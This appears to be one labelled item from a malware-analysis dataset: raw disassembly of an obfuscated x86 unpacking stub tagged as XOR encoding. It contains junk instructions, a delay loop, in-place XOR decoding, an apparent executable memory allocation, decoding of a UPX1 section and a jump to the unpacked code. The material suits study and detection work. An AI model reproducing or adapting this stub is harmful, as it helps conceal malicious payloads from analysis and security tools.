Function at 0x47b434
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x39f81abb
add edx, ebx
sub edx, ebx
sub edx, ebx
popal
inc edx
sub edx, ebx
mov esi, 0
mov edx, ecx
or eax, eax
mov eax, ebx
not ebx
mov edi, edx
mov ebx, eax
add ebx, ebx
mov ecx, edi
dec eax
and ebx, ebx
inc esi
add ebx, 0x7a20da4b
dec ebx
cmp esi, 0x100d1e0
jne 0x47b449
mov ebx, 0xfe6a3d01
inc ebx
mov ebx, 0xbc5da79a
add edx, 0x26c07390
not edx
mov edx, 0x47b21e
mov esi, ecx
dec ebx
mov edi, 0x47b412
sub esi, 0xf7da7e9e
dec ebx
not ecx
mov eax, dword [edx]
mov ebx, 0x7ae5283a
add ecx, esi
add ecx, 0xb3b4b5eb
and eax, 0xff
add ecx, 0x620e9726
add esi, ecx
dec ebx
xor dword [edi], eax
sub ebx, ecx
sub esi, 0x8677eda5
inc edi
and esi, ecx
inc esi
inc ebx
inc edx
dec esi
mov esi, 0xdba34aa5
cmp edi, entry0
jl 0x47b499
add esi, 0x1da76deb
add esi, ebx
inc ebx
mov ecx, 0x65bf40a5
add ecx, 0xe9260be9
sub esi, 1
not edx
mov ebx, 0x47b416
mov ecx, 0xe4b9979c
mov edi, esi
not edi
mov ebx, dword [ebx]
and esi, edx
add esi, 0xd1b8cc2b
mov edx, esi
mov ebx, dword [ebx]
not esi
mov edx, 0xe448da9d
push ebx
sub esi, edi
add edx, ecx
mov ebx, 0x47b412
not ecx
mov edi, esi
mov edx, 0x5977f114
mov ebx, dword [ebx]
and edi, edx
sub esi, 0x3ef4480d
inc edi
mov ebx, dword [ebx]
not edx
not esi
push 0x47b41a
mov ecx, esi
mov esi, edi
call ebx
add ecx, 0x4b66c18e
dec edi
sub edi, esi
pop ebx
mov esi, 0xf87dce37
add esi, ecx
inc edi
push 0x47b427
add ecx, 0x6d38710e
or esi, edi
mov ecx, 0x4983e41b
push eax
mov esi, 0x71e16582
add edi, 1
call ebx
dec edx
sub ecx, edx
sub esp, 4
mov dword [esp], 0x40
add edi, edx
and edx, ecx
mov esi, 0x4279ccf2
push 0x3000
add edi, ecx
sub edi, ecx
mov edx, 0x94e0bae1
push 0x20000efe
sub ecx, edx
inc esi
add edx, ecx
push 0
dec edi
mov ecx, 0x9b7a1fe0
call eax
and edx, edx
sub ecx, 0xd3a35fb5
add edi, 0xc30a07c7
add eax, 0x20000e86
mov edi, 0xe7a00e6a
or esi, edi
not edi
mov ebx, 0xafa6d203
mov edi, 0xae18a114
add edx, 0xe9e8226e
mov dword [eax], ebx
sub edx, 0x48e022a5
mov edx, edi
mov ebx, dword [eax]
and esi, edi
not esi
add ecx, 0xab087534
cmp ebx, 0xafa6d203
je 0x47b606
mov ecx, 0
mov byte [ecx], al
mov ecx, esi
mov ecx, edi
mov edx, 0x81d16f59
mov edx, 0x794b0128
sub ebx, edx
sub edx, 0x74b4eefa
add ebx, ebx
mov edi, section.UPX1
and ebx, ebx
sub ebx, 0xf289a1ae
dec ebx
mov esi, 0x47b21d
not ebx
add edx, 0x5d24cf40
mov eax, 0
and ebx, ebx
and edx, edx
mov ecx, 0x47b21e
add edx, 0x16f1aceb
add ebx, 0x19f321f3
lea ecx, [ecx + eax]
dec ebx
or ebx, ebx
mov ecx, dword [ecx]
mov ebx, edx
add edx, 0xd187af32
sub edx, ebx
and ecx, 0xff
add ebx, 0x8ae10bd2
add edx, ebx
add eax, 1
add ebx, ebx
not edx
cmp eax, 0x1f4
jne 0x47b68a
mov eax, 0
add edx, 0x8ad0af29
sub edx, 0x779e0378
add edx, edx
mov ebx, edx
not edx
xor dword [edi], ecx
and edx, ebx
inc edx
add edi, 2
mov ebx, edx
not edx
cmp edi, esi
jl 0x47b642
sub edx, 1
sub ebx, 0x57bd12b3
add ebx, 0x86015d94
sub edx, ebx
mov edx, section.UPX1
sub eax, 0x578e5517
inc ebx
mov esi, section.UPX1
add eax, 0xbd24063e
sub ebx, 0xfa470c52
mov edi, 0x47b21d
mov ebx, eax
not ebx
mov ecx, 0
mov ebx, 0x61aaf913
and ebx, eax
mov cl, byte [esi]
and eax, ebx
not eax
mov byte [edx], cl
not eax
not eax
add edx, 1
inc eax
mov eax, 0x87850bb3
add esi, 2
and ebx, eax
add eax, 0x901b3c85
cmp esi, edi
jle 0x47b6f9
add ebx, ebx
add ebx, 0xaa4aa15c
inc ebx
sub ebx, 0x639b8052
mov ebx, 0x1bdac9b
sub ebx, 1
push 0x45e6a0
sub ebx, edx
sub edx, 1
ret